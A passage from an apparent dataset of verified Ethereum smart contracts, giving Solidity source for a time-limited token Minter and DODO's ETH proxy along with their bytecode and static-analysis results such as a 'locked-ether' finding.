fffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561120357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561123c57600080fd5b6000611253600454856114bd90919063ffffffff16565b90506112a781600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149d90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133c81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250505092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080821161148557600080fd5b600082848161149057fe5b0490508091505092915050565b6000828211156114ac57600080fd5b600082840390508091505092915050565b6000808314156114d057600090506114f1565b60008284029050828482816114e157fe5b04146114ec57600080fd5b809150505b92915050565b60008082840190508381101561150c57600080fd5b8091505092915050565b600060ff6001901b82141561152a57600080fd5b60008212611538578161153d565b816000035b905091905056fea2646970667358221220a5039f214676fced9f6b8c9b4009aae111e34da558828cf94482ed2c8a56872064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,771 |
0x557AeD48fE5E604725Ee61A60421F2AFC28FcE6F
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IToken {
function mint(address to, uint256 amount) external;
function totalSupply() external view returns (uint256);
function MINTER_ROLE() external view returns (bytes32);
function MINTER_ADMIN_ROLE() external view returns (bytes32);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
function hasRole(bytes32 role, address account) external view returns (bool);
}
contract Minter {
using SafeMath for uint256;
uint256 constant public TARGET_SUPPLY = 2_200_000_000 * 1e18; // 2.2B tokens
uint256 constant public DURATION = 155_520_000; // 1800 days in seconds
uint256 private s_initialSupply;
uint256 private s_startTime;
uint256 private s_minted;
address private s_beneficiary;
IToken private s_token;
bool private s_started;
event Created(address sender, address token, address beneficiary);
event Started(uint256 initialSupply, uint256 timestamp);
event Minted(uint256 amount, uint256 timestamp);
modifier onlyBeneficiary() {
require(msg.sender == s_beneficiary, "not beneficiary");
_;
}
constructor (IToken token, address beneficiary) public {
s_token = token;
s_beneficiary = beneficiary;
emit Created(msg.sender, address(token), beneficiary);
}
receive () external payable {
require(false, "Minter: not accepting ether");
}
function start() external onlyBeneficiary() {
require(s_started == false, "TokenMinter: already started");
require(s_token.getRoleMemberCount(s_token.MINTER_ADMIN_ROLE()) == 0, "TokenMinter: minter roles are not final");
minterRoleValidation();
s_started = true;
s_initialSupply = s_token.totalSupply();
s_startTime = block.timestamp;
emit Started(s_initialSupply, block.timestamp);
}
function mint(uint256 amount) public onlyBeneficiary() {
require(s_started == true, "TokenMinter: not started");
require(amount > 0, "TokenMinter: nothing to mint");
s_minted = s_minted.add(amount);
require(s_minted <= mintLimit(), "TokenMinter: amount too high");
s_token.mint(s_beneficiary, amount);
emit Minted(amount, block.timestamp);
}
function mintAll() external {
mint(mintLimit().sub(s_minted));
}
function minterRoleValidation() public view {
require(s_token.hasRole(s_token.MINTER_ROLE(), address(this)), "TokenMinter: do not have a minter role");
require(s_token.getRoleMemberCount(s_token.MINTER_ROLE()) == 1, "TokenMinter: minter role is not exclusive");
}
function mintLimit() public view returns (uint256) {
uint256 maxMinting = TARGET_SUPPLY.sub(s_initialSupply);
uint256 currentDuration = block.timestamp.sub(s_startTime);
uint256 effectiveDuration = currentDuration < DURATION ? currentDuration : DURATION;
return maxMinting.mul(effectiveDuration).div(DURATION);
}
function left() public view returns (uint256) {
return TARGET_SUPPLY.sub(s_initialSupply).sub(s_minted);
}
function maxCap() external view returns (uint256) {
return s_token.totalSupply().add(left());
}
function initialSupply() external view returns (uint256) {
return s_initialSupply;
}
function startTime() external view returns (uint256) {
return s_startTime;
}
function endTime() external view returns (uint256) {
return s_startTime.add(DURATION);
}
function minted() external view returns (uint256) {
return s_minted;
}
function beneficiary() external view returns (address) {
return s_beneficiary;
}
function token() external view returns (address) {
return address(s_token);
}
function started() external view returns (bool) {
return s_started;
}
}
|
0x6080604052600436106100f75760003560e01c8063595882b31161008a578063b848805211610059578063b8488052146102a3578063be9a6555146102b8578063bfbe38fa146102cd578063fc0c546a146102e25761014b565b8063595882b31461023a57806378e979251461024f578063996517cf14610264578063a0712d68146102795761014b565b80633197cbb6116100c65780633197cbb6146101ca578063378dc3dc146101df57806338af3eed146101f45780634f02c420146102255761014b565b806316e64048146101505780631be05289146101775780631f2698ab1461018c57806323548b8b146101b55761014b565b3661014b576040805162461bcd60e51b815260206004820152601b60248201527f4d696e7465723a206e6f7420616363657074696e672065746865720000000000604482015290519081900360640190fd5b005b600080fd5b34801561015c57600080fd5b506101656102f7565b60408051918252519081900360200190f35b34801561018357600080fd5b5061016561032b565b34801561019857600080fd5b506101a1610333565b604080519115158252519081900360200190f35b3480156101c157600080fd5b50610165610343565b3480156101d657600080fd5b506101656103c4565b3480156101eb57600080fd5b506101656103d8565b34801561020057600080fd5b506102096103de565b604080516001600160a01b039092168252519081900360200190f35b34801561023157600080fd5b506101656103ed565b34801561024657600080fd5b506101496103f3565b34801561025b57600080fd5b5061016561040b565b34801561027057600080fd5b50610165610411565b34801561028557600080fd5b506101496004803603602081101561029c57600080fd5b503561048b565b3480156102af57600080fd5b506101656106af565b3480156102c457600080fd5b506101496106bf565b3480156102d957600080fd5b5061014961095a565b3480156102ee57600080fd5b50610209610b9b565b60006103266002546103206000546b071bcc1ef9311a1f98000000610baa90919063ffffffff16565b90610baa565b905090565b6309450c0081565b600454600160a01b900460ff1690565b60006103266103506102f7565b60048054604080516318160ddd60e01b815290516001600160a01b03909216926318160ddd928282019260209290829003018186803b15801561039257600080fd5b505afa1580156103a6573d6000803e3d6000fd5b505050506040513d60208110156103bc57600080fd5b505190610bf5565b600154600090610326906309450c00610bf5565b60005490565b6003546001600160a01b031690565b60025490565b610409610404600254610320610411565b61048b565b565b60015490565b6000806104356000546b071bcc1ef9311a1f98000000610baa90919063ffffffff16565b9050600061044e60015442610baa90919063ffffffff16565b905060006309450c008210610467576309450c00610469565b815b90506104836309450c0061047d8584610c4f565b90610ca8565b935050505090565b6003546001600160a01b031633146104dc576040805162461bcd60e51b815260206004820152600f60248201526e6e6f742062656e656669636961727960881b604482015290519081900360640190fd5b600454600160a01b900460ff16151560011461053f576040805162461bcd60e51b815260206004820152601860248201527f546f6b656e4d696e7465723a206e6f7420737461727465640000000000000000604482015290519081900360640190fd5b60008111610594576040805162461bcd60e51b815260206004820152601c60248201527f546f6b656e4d696e7465723a206e6f7468696e6720746f206d696e7400000000604482015290519081900360640190fd5b6002546105a19082610bf5565b6002556105ac610411565b6002541115610602576040805162461bcd60e51b815260206004820152601c60248201527f546f6b656e4d696e7465723a20616d6f756e7420746f6f206869676800000000604482015290519081900360640190fd5b60048054600354604080516340c10f1960e01b81526001600160a01b039283169481019490945260248401859052519116916340c10f1991604480830192600092919082900301818387803b15801561065a57600080fd5b505af115801561066e573d6000803e3d6000fd5b50506040805184815242602082015281517f8a9dcf4e150b1153011b29fec302d5be0c13e84fa8f56ab78587f778a32a90dd9450908190039091019150a150565b6b071bcc1ef9311a1f9800000081565b6003546001600160a01b03163314610710576040805162461bcd60e51b815260206004820152600f60248201526e6e6f742062656e656669636961727960881b604482015290519081900360640190fd5b600454600160a01b900460ff161561076f576040805162461bcd60e51b815260206004820152601c60248201527f546f6b656e4d696e7465723a20616c7265616479207374617274656400000000604482015290519081900360640190fd5b6004805460408051631339324b60e01b815290516001600160a01b039092169263ca15c873928492631339324b9281810192602092909190829003018186803b1580156107bb57600080fd5b505afa1580156107cf573d6000803e3d6000fd5b505050506040513d60208110156107e557600080fd5b5051604080516001600160e01b031960e085901b1681526004810192909252516024808301926020929190829003018186803b15801561082457600080fd5b505afa158015610838573d6000803e3d6000fd5b505050506040513d602081101561084e57600080fd5b50511561088c5760405162461bcd60e51b8152600401808060200182810382526027815260200180610de76027913960400191505060405180910390fd5b61089461095a565b6004805460ff60a01b1916600160a01b17808255604080516318160ddd60e01b815290516001600160a01b03909216926318160ddd928282019260209290829003018186803b1580156108e657600080fd5b505afa1580156108fa573d6000803e3d6000fd5b505050506040513d602081101561091057600080fd5b5051600081905542600181905560408051928352602083019190915280517f87ac41d581680567c1ef44614ddfa5522f853ea15b877693a35b1e4157cc309d9281900390910190a1565b600480546040805163d539139360e01b815290516001600160a01b03909216926391d1485492849263d53913939281810192602092909190829003018186803b1580156109a657600080fd5b505afa1580156109ba573d6000803e3d6000fd5b505050506040513d60208110156109d057600080fd5b5051604080516001600160e01b031960e085901b1681526004810192909252306024830152516044808301926020929190829003018186803b158015610a1557600080fd5b505afa158015610a29573d6000803e3d6000fd5b505050506040513d6020811015610a3f57600080fd5b5051610a7c5760405162461bcd60e51b8152600401808060200182810382526026815260200180610e586026913960400191505060405180910390fd5b600480546040805163d539139360e01b815290516001600160a01b039092169263ca15c87392849263d53913939281810192602092909190829003018186803b158015610ac857600080fd5b505afa158015610adc573d6000803e3d6000fd5b505050506040513d6020811015610af257600080fd5b5051604080516001600160e01b031960e085901b1681526004810192909252516024808301926020929190829003018186803b158015610b3157600080fd5b505afa158015610b45573d6000803e3d6000fd5b505050506040513d6020811015610b5b57600080fd5b50516001146104095760405162461bcd60e51b8152600401808060200182810382526029815260200180610e2f6029913960400191505060405180910390fd5b6004546001600160a01b031690565b6000610bec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cea565b90505b92915050565b600082820183811015610bec576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c5e57506000610bef565b82820282848281610c6b57fe5b0414610bec5760405162461bcd60e51b8152600401808060200182810382526021815260200180610e0e6021913960400191505060405180910390fd5b6000610bec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d81565b60008184841115610d795760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d3e578181015183820152602001610d26565b50505050905090810190601f168015610d6b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610dd05760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610d3e578181015183820152602001610d26565b506000838581610ddc57fe5b049594505050505056fe546f6b656e4d696e7465723a206d696e74657220726f6c657320617265206e6f742066696e616c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e4d696e7465723a206d696e74657220726f6c65206973206e6f74206578636c7573697665546f6b656e4d696e7465723a20646f206e6f7420686176652061206d696e74657220726f6c65a2646970667358221220805532743769aee0969488248519a98773d0185603119ef8b7bea732cec9930f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,772 |
0x3d7cbd8ae59505283d438eb6ff54b8b42d0c98a6
|
// File: contracts/lib/ReentrancyGuard.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/intf/IERC20.sol
// This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/*
Copyright 2020 DODO ZOO.
This is a simplified version of OpenZepplin's SafeERC20 library
*/
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/intf/IDODO.sol
/*
Copyright 2020 DODO ZOO.
*/
interface IDODO {
function init(
address owner,
address supervisor,
address maintainer,
address baseToken,
address quoteToken,
address oracle,
uint256 lpFeeRate,
uint256 mtFeeRate,
uint256 k,
uint256 gasPriceLimit
) external;
function transferOwnership(address newOwner) external;
function claimOwnership() external;
function sellBaseToken(
uint256 amount,
uint256 minReceiveQuote,
bytes calldata data
) external returns (uint256);
function buyBaseToken(
uint256 amount,
uint256 maxPayQuote,
bytes calldata data
) external returns (uint256);
function querySellBaseToken(uint256 amount) external view returns (uint256 receiveQuote);
function queryBuyBaseToken(uint256 amount) external view returns (uint256 payQuote);
function depositBaseTo(address to, uint256 amount) external returns (uint256);
function withdrawBase(uint256 amount) external returns (uint256);
function withdrawAllBase() external returns (uint256);
function depositQuoteTo(address to, uint256 amount) external returns (uint256);
function withdrawQuote(uint256 amount) external returns (uint256);
function withdrawAllQuote() external returns (uint256);
function _BASE_CAPITAL_TOKEN_() external returns (address);
function _QUOTE_CAPITAL_TOKEN_() external returns (address);
function _BASE_TOKEN_() external returns (address);
function _QUOTE_TOKEN_() external returns (address);
}
// File: contracts/intf/IWETH.sol
/*
Copyright 2020 DODO ZOO.
*/
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: contracts/DODOEthProxy.sol
/*
Copyright 2020 DODO ZOO.
*/
interface IDODOZoo {
function getDODO(address baseToken, address quoteToken) external view returns (address);
}
/**
* @title DODO Eth Proxy
* @author DODO Breeder
*
* @notice Handle ETH-WETH converting for users. Use it only when WETH is base token
*/
contract DODOEthProxy is ReentrancyGuard {
using SafeERC20 for IERC20;
address public _DODO_ZOO_;
address payable public _WETH_;
// ============ Events ============
event ProxySellEth(
address indexed seller,
address indexed quoteToken,
uint256 payEth,
uint256 receiveQuote
);
event ProxyBuyEth(
address indexed buyer,
address indexed quoteToken,
uint256 receiveEth,
uint256 payQuote
);
event ProxyDepositEth(address indexed lp, address indexed DODO, uint256 ethAmount);
event ProxyWithdrawEth(address indexed lp, address indexed DODO, uint256 ethAmount);
// ============ Functions ============
constructor(address dodoZoo, address payable weth) public {
_DODO_ZOO_ = dodoZoo;
_WETH_ = weth;
}
fallback() external payable {
require(msg.sender == _WETH_, "WE_SAVED_YOUR_ETH_:)");
}
receive() external payable {
require(msg.sender == _WETH_, "WE_SAVED_YOUR_ETH_:)");
}
function sellEthTo(
address quoteTokenAddress,
uint256 ethAmount,
uint256 minReceiveTokenAmount
) external payable preventReentrant returns (uint256 receiveTokenAmount) {
require(msg.value == ethAmount, "ETH_AMOUNT_NOT_MATCH");
address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress);
require(DODO != address(0), "DODO_NOT_EXIST");
IWETH(_WETH_).deposit{value: ethAmount}();
IERC20(_WETH_).safeApprove(DODO, ethAmount);
receiveTokenAmount = IDODO(DODO).sellBaseToken(ethAmount, minReceiveTokenAmount, "");
_transferOut(quoteTokenAddress, msg.sender, receiveTokenAmount);
emit ProxySellEth(msg.sender, quoteTokenAddress, ethAmount, receiveTokenAmount);
return receiveTokenAmount;
}
function buyEthWith(
address quoteTokenAddress,
uint256 ethAmount,
uint256 maxPayTokenAmount
) external preventReentrant returns (uint256 payTokenAmount) {
address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress);
require(DODO != address(0), "DODO_NOT_EXIST");
payTokenAmount = IDODO(DODO).queryBuyBaseToken(ethAmount);
_transferIn(quoteTokenAddress, msg.sender, payTokenAmount);
IERC20(quoteTokenAddress).safeApprove(DODO, payTokenAmount);
IDODO(DODO).buyBaseToken(ethAmount, maxPayTokenAmount, "");
IWETH(_WETH_).withdraw(ethAmount);
msg.sender.transfer(ethAmount);
emit ProxyBuyEth(msg.sender, quoteTokenAddress, ethAmount, payTokenAmount);
return payTokenAmount;
}
function depositEth(uint256 ethAmount, address quoteTokenAddress)
external
payable
preventReentrant
{
require(msg.value == ethAmount, "ETH_AMOUNT_NOT_MATCH");
address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress);
require(DODO != address(0), "DODO_NOT_EXIST");
IWETH(_WETH_).deposit{value: ethAmount}();
IERC20(_WETH_).safeApprove(DODO, ethAmount);
IDODO(DODO).depositBaseTo(msg.sender, ethAmount);
emit ProxyDepositEth(msg.sender, DODO, ethAmount);
}
function withdrawEth(uint256 ethAmount, address quoteTokenAddress)
external
preventReentrant
returns (uint256 withdrawAmount)
{
address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress);
require(DODO != address(0), "DODO_NOT_EXIST");
address ethLpToken = IDODO(DODO)._BASE_CAPITAL_TOKEN_();
// transfer all pool shares to proxy
uint256 lpBalance = IERC20(ethLpToken).balanceOf(msg.sender);
IERC20(ethLpToken).safeTransferFrom(msg.sender, address(this), lpBalance);
IDODO(DODO).withdrawBase(ethAmount);
// transfer remain shares back to msg.sender
lpBalance = IERC20(ethLpToken).balanceOf(address(this));
IERC20(ethLpToken).safeTransfer(msg.sender, lpBalance);
// because of withdraw penalty, withdrawAmount may not equal to ethAmount
// query weth amount first and than transfer ETH to msg.sender
uint256 wethAmount = IERC20(_WETH_).balanceOf(address(this));
IWETH(_WETH_).withdraw(wethAmount);
msg.sender.transfer(wethAmount);
emit ProxyWithdrawEth(msg.sender, DODO, wethAmount);
return wethAmount;
}
function withdrawAllEth(address quoteTokenAddress)
external
preventReentrant
returns (uint256 withdrawAmount)
{
address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress);
require(DODO != address(0), "DODO_NOT_EXIST");
address ethLpToken = IDODO(DODO)._BASE_CAPITAL_TOKEN_();
// transfer all pool shares to proxy
uint256 lpBalance = IERC20(ethLpToken).balanceOf(msg.sender);
IERC20(ethLpToken).safeTransferFrom(msg.sender, address(this), lpBalance);
IDODO(DODO).withdrawAllBase();
// because of withdraw penalty, withdrawAmount may not equal to ethAmount
// query weth amount first and than transfer ETH to msg.sender
uint256 wethAmount = IERC20(_WETH_).balanceOf(address(this));
IWETH(_WETH_).withdraw(wethAmount);
msg.sender.transfer(wethAmount);
emit ProxyWithdrawEth(msg.sender, DODO, wethAmount);
return wethAmount;
}
// ============ Helper Functions ============
function _transferIn(
address tokenAddress,
address from,
uint256 amount
) internal {
IERC20(tokenAddress).safeTransferFrom(from, address(this), amount);
}
function _transferOut(
address tokenAddress,
address to,
uint256 amount
) internal {
IERC20(tokenAddress).safeTransfer(to, amount);
}
}
|
0x6080604052600436106100745760003560e01c80635ba87dc01161004e5780635ba87dc01461012b5780636e89d3ea14610158578063a158657c1461016b578063d46d79bb1461018b576100ae565b80630d4eec8f146100d857806339239f721461010357806346f6b4e114610118576100ae565b366100ae576001546001600160a01b031633146100ac5760405162461bcd60e51b81526004016100a39061160d565b60405180910390fd5b005b6001546001600160a01b031633146100ac5760405162461bcd60e51b81526004016100a39061160d565b3480156100e457600080fd5b506100ed6101ab565b6040516100fa9190611522565b60405180910390f35b34801561010f57600080fd5b506100ed6101ba565b6100ac6101263660046114ba565b6101ce565b34801561013757600080fd5b5061014b61014636600461144e565b610434565b6040516100fa9190611709565b61014b61016636600461144e565b61072a565b34801561017757600080fd5b5061014b6101863660046114ba565b610988565b34801561019757600080fd5b5061014b6101a636600461140f565b610e05565b6001546001600160a01b031681565b60005461010090046001600160a01b031681565b60005460ff16156101f15760405162461bcd60e51b81526004016100a3906115b5565b6000805460ff1916600117905534821461021d5760405162461bcd60e51b81526004016100a39061163b565b60008054600154604051630939d86360e11b81526001600160a01b03610100909304831692631273b0c692610259929116908690600401611536565b60206040518083038186803b15801561027157600080fd5b505afa158015610285573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102a99190611432565b90506001600160a01b0381166102d15760405162461bcd60e51b81526004016100a39061158d565b600160009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0846040518263ffffffff1660e01b81526004016000604051808303818588803b15801561032157600080fd5b505af1158015610335573d6000803e3d6000fd5b505060015461035993506001600160a01b031691508390508563ffffffff6111de16565b60405163aa06ce9b60e01b81526001600160a01b0382169063aa06ce9b906103879033908790600401611550565b602060405180830381600087803b1580156103a157600080fd5b505af11580156103b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103d991906114a